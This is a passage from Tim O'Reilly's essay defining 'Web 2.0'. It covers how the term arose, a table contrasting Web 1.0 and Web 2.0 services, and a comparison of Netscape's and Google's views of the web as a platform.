The concept of "Web 2.0" began with a conference brainstorming session between O'Reilly and MediaLive International. Dale Dougherty, web pioneer and O'Reilly VP, noted that far from having "crashed", the web was more important than ever, with exciting new applications and sites popping up with surprising regularity. What's more, the companies that had survived the collapse seemed to have some things in common. Could it be that the dot-com collapse marked some kind of turning point for the web, such that a call to action such as "Web 2.0" might make sense? We agreed that it did, and so the Web 2.0 Conference was born.

In the year and a half since, the term "Web 2.0" has clearly taken hold, with more than 9.5 million citations in Google. But there's still a huge amount of disagreement about just what Web 2.0 means, with some people decrying it as a meaningless marketing buzzword, and others accepting it as the new conventional wisdom.

This article is an attempt to clarify just what we mean by Web 2.0.

In our initial brainstorming, we formulated our sense of Web 2.0 by example:

Web 1.0		Web 2.0
DoubleClick	-->	Google AdSense
Ofoto	-->	Flickr
Akamai	-->	BitTorrent
mp3.com	-->	Napster
Britannica Online	-->	Wikipedia
personal websites	-->	blogging
evite	-->	upcoming.org and EVDB
domain name speculation	-->	search engine optimization
page views	-->	cost per click
screen scraping	-->	web services
publishing	-->	participation
content management systems	-->	wikis
directories (taxonomy)	-->	tagging ("folksonomy")
stickiness	-->	syndication

The list went on and on. But what was it that made us identify one application or approach as "Web 1.0" and another as "Web 2.0"? (The question is particularly urgent because the Web 2.0 meme has become so widespread that companies are now pasting it on as a marketing buzzword, with no real understanding of just what it means. The question is particularly difficult because many of those buzzword-addicted startups are definitely not Web 2.0, while some of the applications we identified as Web 2.0, like Napster and BitTorrent, are not even properly web applications!) We began trying to tease out the principles that are demonstrated in one way or another by the success stories of web 1.0 and by the most interesting of the new applications.

1. The Web As Platform

Like many important concepts, Web 2.0 doesn't have a hard boundary, but rather, a gravitational core. You can visualize Web 2.0 as a set of principles and practices that tie together a veritable solar system of sites that demonstrate some or all of those principles, at a varying distance from that core.

Figure 1 shows a "meme map" of Web 2.0 that was developed at a brainstorming session during FOO Camp, a conference at O'Reilly Media. It's very much a work in progress, but shows the many ideas that radiate out from the Web 2.0 core.

For example, at the first Web 2.0 conference, in October 2004, John Battelle and I listed a preliminary set of principles in our opening talk. The first of those principles was "The web as platform." Yet that was also a rallying cry of Web 1.0 darling Netscape, which went down in flames after a heated battle with Microsoft. What's more, two of our initial Web 1.0 exemplars, DoubleClick and Akamai, were both pioneers in treating the web as a platform. People don't often think of it as "web services", but in fact, ad serving was the first widely deployed web service, and the first widely deployed "mashup" (to use another term that has gained currency of late). Every banner ad is served as a seamless cooperation between two websites, delivering an integrated page to a reader on yet another computer. Akamai also treats the network as the platform, and at a deeper level of the stack, building a transparent caching and content delivery network that eases bandwidth congestion.

Nonetheless, these pioneers provided useful contrasts because later entrants have taken their solution to the same problem even further, understanding something deeper about the nature of the new platform. Both DoubleClick and Akamai were Web 2.0 pioneers, yet we can also see how it's possible to realize more of the possibilities by embracing additional Web 2.0 design patterns.

Let's drill down for a moment into each of these three cases, teasing out some of the essential elements of difference.

Netscape vs. Google

If Netscape was the standard bearer for Web 1.0, Google is most certainly the standard bearer for Web 2.0, if only because their respective IPOs were defining events for each era. So let's start with a comparison of these two companies and their positioning.

Netscape framed "the web as platform" in terms of the old software paradigm: their flagship product was the web browser, a desktop application, and their strategy was to use their dominance in the browser market to establish a market for high-priced server products. Control over standards for displaying content and applications in the browser would, in theory, give Netscape the kind of market power enjoyed by Microsoft in the PC market. Much like the "horseless carriage" framed the automobile as an extension of the familiar, Netscape promoted a "webtop" to replace the desktop, and planned to populate that webtop with information updates and applets pushed to the webtop by information providers who would purchase Netscape servers.

In the end, both web browsers and web servers turned out to be commodities, and value moved "up the stack" to services delivered over the web platform.

Google, by contrast, began its life as a native web application, never sold or packaged, but delivered as a service, with customers paying, directly or indirectly, for the use of that service. None of the trappings of the old software industry are present. No scheduled software releases, just continuous improvement. No licensing or sale, just usage. No porting to different platforms so that customers can run the software on their own equipment, just a massively scalable collection of commodity PCs running open source operating systems plus homegrown applications and utilities that no one outside the company ever gets to see.

At bottom, Google requires a competency that Netscape never needed: database management. Google isn't just a collection of software tools, it's a specialized database. Without the data, the tools are useless; without the software, the data is unmanageable. Software licensing and control over APIs--the lever of power in the previous era--is irrelevant because the software never need be distributed but only performed, and also because without the ability to collect and manage the data, the software is of little use. In fact, the value of the software is proportional to the scale and dynamism of the data it helps to manage.

Google's service is not a server--though it is delivered by a massive collection of internet servers--nor a browser--though it is experienced by the user within the browser. Nor does its flagship search service even host the content that it enables users to find. Much like a phone call, which happens not just on the phones at either end of the call, but on the network in between, Google happens in the space between browser and search engine and destination content server, as an enabler or middleman between the user and his or her online experience.

While both Netscape and Google could be described as software companies, it's clear that Netscape belonged to the same software world as Lotus, Microsoft, Oracle, SAP, and other companies that got their start in the 1980's software revolution, while Google's fellows are other internet applications like eBay, Amazon, Napster, and yes, DoubleClick and Akamai.